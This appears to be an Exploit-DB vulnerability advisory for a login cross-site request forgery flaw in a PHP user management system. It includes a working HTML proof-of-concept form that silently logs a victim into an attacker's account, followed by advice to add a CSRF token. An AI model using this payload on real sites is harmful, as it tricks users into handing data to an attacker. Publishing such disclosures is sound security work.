User Registration & Login and User Management System 2.1 - Cross Site Request Forgery

vendor:

User Registration & Login and User Management System

by:

Dipak Panchal(th3.d1p4k)

6.8

CVSS

MEDIUM

Cross Site Request Forgery

352

CWE

Product Name: User Registration & Login and User Management System

Affected Version From: 2.1

Affected Version To: 5

Patch Exists: NO

Related CWE: N/A

CPE: 2.1:5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2020

User Registration & Login and User Management System 2.1 – Cross Site Request Forgery

An attacker can craft HTML page containing POST information to have the victim sign into an attacker's account, where the victim can add information assuming he/she is logged into the correct account, where in reality, the victim is signed into the attacker's account where the changes are visible to the attacker.

Mitigation:

Please add a csrf token to login request or make some type prompt that the session has ended when the new login from attacker occurs.

Source

Exploit-DB raw data:

# Exploit Title: User Registration & Login and User Management System 2.1 - Cross Site Request Forgery
# Exploit Author: Dipak Panchal(th3.d1p4k)
# Vendor Homepage: https://phpgurukul.com
# Software Link: http://user-registration-login-and-user-management-system-with-admin-panel
# Version: 5
# Tested on Windows 10

Attack Vector:
An attacker can craft HTML page containing POST information to have the
victim sign into an attacker's account, where the victim can add
information assuming he/she is logged into the correct account, where in
reality, the victim is signed into the attacker's account where the changes
are visible to the attacker.

Exploit:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/loginsystem/" method="POST">
      <input type="hidden" name="uemail" value="user1@mail.com" />
      <input type="hidden" name="password" value="User@1234" />
      <input type="hidden" name="login" value="LOG&#32;IN" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Mitigation:
Please add a csrf token to login request or make some type prompt that the
session has ended when the new login from attacker occurs.